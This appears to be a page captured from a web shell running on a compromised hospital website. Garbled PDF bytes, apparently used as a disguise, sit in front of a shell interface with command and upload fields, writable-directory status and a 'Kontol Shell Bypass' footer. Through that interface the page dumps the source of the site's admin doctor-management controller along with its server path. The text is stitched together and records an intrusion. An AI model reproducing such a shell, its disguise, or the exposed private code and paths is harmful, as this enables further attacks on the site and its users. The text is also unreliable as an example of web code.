%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/application/controllers/admin/Doctor_9_4.php
<?php
error_reporting(0);
defined('BASEPATH') OR exit('No direct script access allowed');

class Doctor extends CI_Controller {


	function __construct() {
        parent::__construct();
        
        if((!isset($_SESSION['is_logged']))||($_SESSION['is_logged']==false))
        {
        	$_SESSION['redirect'] = base_url()."admin/Doctor/view_doctors";
        	
        	redirect(base_url().'admin/login');
        }
	//	redirect_admin_not_logged();
        $this->load->model('doctor_model', 'doctor');
        $this->load->model('designation_model', 'designation');
        $this->load->model('department_model', 'department');
        $this->load->model('nationality_model', 'nationality');
        $this->load->model('language_model', 'languages');
    }
	
	public function index()
	{
		$this->view_doctors();
	//	$this->load->view('admin/ViewDoctors');
	}
	
	public function do_upload($field_name, $upload_path= '', $file_name= '')
	{
		if($upload_path!=''){
			$config['upload_path'] = $upload_path;
		}
		else{
			$config['upload_path'] = './uploads';
		}
		$config['allowed_types'] = 'jpeg|jpg|png|JPEG|JPG|PNG';
		$config['max_size']     = '100';
		$config['max_width'] = '1024';
		$config['max_height'] = '768';
		if($file_name!=''){
		$config['file_name'] = $file_name;
		}
		
		$this->upload->initialize($config);
		
		if ( ! $this->upload->do_upload($field_name))
		{
			$error = array('error' => $this->upload->display_errors());

	//		$this->load->view('upload_form', $error);
			
			return 0;
		}
		else
		{
			$data = array('upload_data' => $this->upload->data());

			return $this->upload->data('file_name');	
			
		}

	}
	
	public function add_doctor($id=0)
	{
		
		
		$data = array();
		$data['data_string'] = '';
		$doctorID = $id;
		
		if($id){
		
			$records = $this->doctor->get_doctor_by_id($id);
			
			if(!$records){
				
				show_404();
				
			}
			else{
				
				$data = array(
					'DoctorID' => $records['DoctorID'],
					'DoctorTitle' => $records['DoctorTitle'],
					'DoctorName' => $records['DoctorName'],
					'DoctorEmail' => '',
					'DoctorDesignation' => $records['DoctorDesignation'],
					'DoctorGender' => $records['DoctorGender'],
					'DoctorNationality' => $records['DoctorNationality'],
					'DoctorLanguage' => explode(',', $records['DoctorLanguage']),
					'DoctorDepartment' => explode(',', $records['DoctorDepartment']),
					'DoctorBriefProfile' => $records['DoctorBriefProfile'], 
					'DoctorQualification' => $records['DoctorQualification'],
					'DoctorSpecialization' => $records['DoctorSpecialization'],
					'DoctorClinicalInterest' => $records['DoctorClinicalInterest'],
					'DoctorMemberships' => $records['DoctorMemberships'],
					'DoctorOPDSchedule' => '',
					'DoctorWorkExperience' => $records['DoctorWorkExperience'],
					'DoctorAcheivements' => $records['DoctorAcheivements'],
					'DoctorResearchPublication' => $records['DoctorResearchPublication'],
					'DoctorProfilePic' => $records['DoctorProfilePic'],
					'DoctorResume' => $records['DoctorResume'],
					'DoctorPriorityOrder' => $records['DoctorPriorityOrder'],
					'Status' => $records['Status'],
					'DoctorPageURL' => $records['DoctorPageURL']
				); 
				
			}

		}
		
		$post=$this->input->post();
		
		if($post){	
		
			$this->form_validation->set_rules('DoctorTitle', 'Doctor Title', 'required');
			$this->form_validation->set_rules('DoctorDesignation', 'Designation', 'required');
//			$this->form_validation->set_rules('DoctorNationality', 'Nationality', 'required');
//			$this->form_validation->set_rules('language[]', 'Language', 'required');
			$this->form_validation->set_rules('DoctorBriefProfile', 'Brief Profile', 'required');
			$this->form_validation->set_rules('DoctorQualification', 'Qualification', 'required');
			$this->form_validation->set_rules('DoctorWorkExperience', 'Work Experience', 'required');
  //  $this->form_validation->set_rules('profile_pic', 'Profile Picture','required'); 
			
			if ($this->form_validation->run() == FALSE)
            {
            		echo '<script>console.log("Error in validating doctor")</script>'; //console.log("Error in validating doctor");
            	//	$data=$post;
  		            $this->load->view('admin/AddDoctor');
            }
			else
			{
				
				$profile_pic ='';
				$resume = '';
				if($_FILES['profile_pic']['name']){
					$profile_pic = $this->do_upload('profile_pic', './uploads/doctor', 'doc_'.$post['DoctorPageURL']);
					$data['error'] = array('error' => $this->upload->display_errors());	
				}
				if($_FILES['resume']['name']){
					$resume = $this->do_upload('resume', './uploads/doctor', 'resume_'.$post['DoctorPageURL']);
					$data['error'] = array('error' => $this->upload->display_errors());	
				}
				
				if(($_FILES['profile_pic']['name'])&&(!$profile_pic)){
					$this->load->view('admin/AddDoctor');
				}
				else if(($_FILES['resume']['name'])&&(!resume)){
					$this->load->view('admin/AddDoctor');
				}
				else{
					$DoctorID = $post['DoctorID'];
				
					$insert_data = array(
						'DoctorTitle' => $post['DoctorTitle'],
						'DoctorName' => $post['DoctorName'],
						'DoctorEmail' => '',
						'DoctorDesignation' => $post['DoctorDesignation'],
						'DoctorGender' => $post['DoctorGender'],
						'DoctorNationality' => $post['DoctorNationality'],
						'DoctorLanguage' => implode(',', $post['language']),
						'DoctorDepartment' => implode(',', $post['department']),
						'DoctorBriefProfile' => $post['DoctorBriefProfile'], 
						'DoctorQualification' => $post['DoctorQualification'],
						'DoctorSpecialization' => $post['DoctorSpecialization'],
						'DoctorClinicalInterest' => $post['DoctorClinicalInterest'],
						'DoctorMemberships' => $post['DoctorMemberships'],
						'DoctorOPDSchedule' => '',
						'DoctorWorkExperience' => $post['DoctorWorkExperience'],
						'DoctorAcheivements' => $post['DoctorAcheivements'],
						'DoctorResearchPublication' => $post['DoctorResearchPublication'],
						'DoctorPriorityOrder' => $post['DoctorPriorityOrder'],
						'Status' => $post['Status'],
						'DoctorPageURL' => $post['DoctorPageURL']
					);
				
					
					if($profile_pic!=''){
						$insert_data['DoctorProfilePic'] = $profile_pic;
					}
					
					if($profile_pic!=''){
						$insert_data['DoctorResume'] = $resume;
					}
				
					$success = '';	
					echo '<script>console.log("'.$DoctorID.'")</script>';
					if($DoctorID){
						$success = $this->doctor->update_doctor($insert_data,$DoctorID);
					}
					else{
						$success = $this->doctor->insert_doctor($insert_data);
					}			
				
					if($success){
						//redirect(base_url()."admin/Doctor/view_doctors");
						redirect(base_url()."admin/Doctor");
					};
				}
			}
       			
		}
		
		$data['designations'] = $this->designation->get_designations();
		$data['nationalities'] = $this->nationality->get_nationalities();
		$data['languages'] = $this->languages->get_languages();
		$data['departments'] = $this->department->get_departments('DepartmentID, DepartmentName', array('Sub-department','Speciality'));
		
		$this->load->view('admin/AddDoctor',$data);
	
	}
	
	/*********** opd_schedule ********************/
	
	
	public function getuser()
	{
		
		$data = array();
		$opdid = $_GET['uid'];
		$post=$this->input->post();
$this->load->view('admin/getuser',$opdid);
	}
	
	
	
	public function opd_schedule()
	{
	
		$data = array();
		$opdid = $getid;
		$post=$this->input->post();
		
		if($post){	
		$upd_opdschld = array(
						'day' => $post['day'],
						'time_first' => $post['time_first'],
						'time_end' => $post['time_end'],
						'drid'=>$post['getid']
					);
				
		
		}

	if($post['getid']){

	 	
	$success = $this->doctor->upd_schedule($upd_opdschld,$post['getid']);
	  }
	
redirect(base_url()."admin/Doctor");
	}
	/**************** END ************/
	
	
	
	
	public function view_doctor($id=0)
	{
		
		$data = array();
		$data['data_string'] = '';
		
		if($id){
		
			$data = $this->doctor->get_doctors();
			
			if(!$records){
				
				show_404();
				
			}
			else{

				$data = array(
					'DoctorTitle' => $records['DoctorTitle'],
					'DoctorName' => $records['DoctorName'],
					'DoctorEmail' => '',
					'DoctorDesignation' => $records['DoctorDesignation'],
					'DoctorGender' => $records['DoctorGender'],
					'DoctorNationality' => $records['DoctorNationality'],
					'DoctorLanguage' => explode(',', $records['DoctorLanguage']),
					'DoctorDepartment' => explode(',', $records['DoctorDepartment']),
					'DoctorBriefProfile' => $records['DoctorBriefProfile'], 
					'DoctorQualification' => $records['DoctorQualification'],
					'DoctorSpecialization' => $records['DoctorSpecialization'],
					'DoctorClinicalInterest' => $records['DoctorClinicalInterest'],
					'DoctorMemberships' => $records['DoctorMemberships'],
					'DoctorOPDSchedule' => '',
					'DoctorWorkExperience' => $records['DoctorWorkExperience'],
					'DoctorAcheivements' => $records['DoctorAcheivements'],
					'DoctorResearchPublication' => $records['DoctorResearchPublication'],
					'DoctorPriorityOrder' => $records['DoctorPriorityOrder'],
					'Status' => $records['Status'],
					'DoctorPageURL' => $records['DoctorPageURL']
				); 
				
			}

		}
		
		
		
		$this->load->view('admin/ViewDoctor',$data);
	}
	
	public function update_doctor($id){
	
		$this->add_doctor($id);
	}
	
	
	public function view_doctors()
	{
		
		$data = array();
		$data['records'] = $this->doctor->get_doctors();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewDoctors',$data);
	}
	
	
	
	public function remove_doctor($id)
	{
		
		$data = array();
		
		
		if($this->doctor->delete_doctor($id)){
			$data['msg'] = 'Doctor deleted succesfully';
		}
		else{
			$data['msg'] = 'Doctor could not be deleted';
		}
		
		$data['records'] = $this->doctor->get_doctors();
			
		if(!$data){
			show_404();
		}
				
		$this->load->view('admin/ViewDoctors',$data);
	}
	
	
}

Kontol Shell Bypass